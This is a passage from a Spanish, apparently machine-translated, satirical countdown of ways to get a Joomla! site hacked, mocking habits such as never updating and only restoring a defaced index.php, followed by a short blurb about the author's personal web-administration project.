Instala todas las cosas interesantes que puedas encontrar. Cualquiera lo suficientemente inteligente como para escribir un Joomla! La extensión proporcionará un código perfecto que bloquea cada intento de explotación conocido, ahora y para siempre. Después de todo, casi todo esto es proporcionado de forma gratuita por personas bien intencionadas y de buen corazón que saben lo que están haciendo.

3. No se preocupe por actualizar a la última versión de Joomla!

Oye, nada ha salido mal hasta ahora, y si no está roto, ¡no lo arregles! Mismo plan para las extensiones de terceros. Demasiado trabajo; la vida es una playa.

2. Cuando se agrieta su sitio, entre en pánico en Joomla! Foros

Comienza una nueva publicación con un título muy familiar: "¡Mi sitio ha sido pirateado! (Sic)" Asegúrate de no dejar información relevante, como qué versiones obsoletas de Joomla! y extensiones de terceros que instaló.

1. Una vez que su sitio ha sido descifrado, repare el archivo index.php borrado y asuma que todo lo demás está bien.

No verifique registros sin procesar, cambie sus contraseñas, elimine todo el directorio y reconstruya desde copias de seguridad limpias, ni realice ninguna otra acción que parezca demasiado paranoica. Cuando los atacantes regresen al día siguiente, grita en voz alta que has sido "hackeado de nuevo", y todo es culpa de Joomla! Ignore el hecho de que eliminar un archivo desfigurado ni siquiera es el primer paso en el difícil proceso de recuperar completamente un sitio agrietado.
 
 

Buscar...

Información

Este es mi proyecto personal, donde he querido plasmar mis conocimientos y experiencia en escenarios de administración de servidores web y usuarios. En el menú ¿Como se hizo esta web?, se observa el tratamiento con el proveedor de hosting y dominio y la plataforma de panel de control del servidor Web. Todo ello, para finalizar con la instalación del famoso Gestor de Contenidos - CMS Joomla. El proceso de todo lo que hablo, ha sido grabado y capturado en pantalla con explicaciones con audio.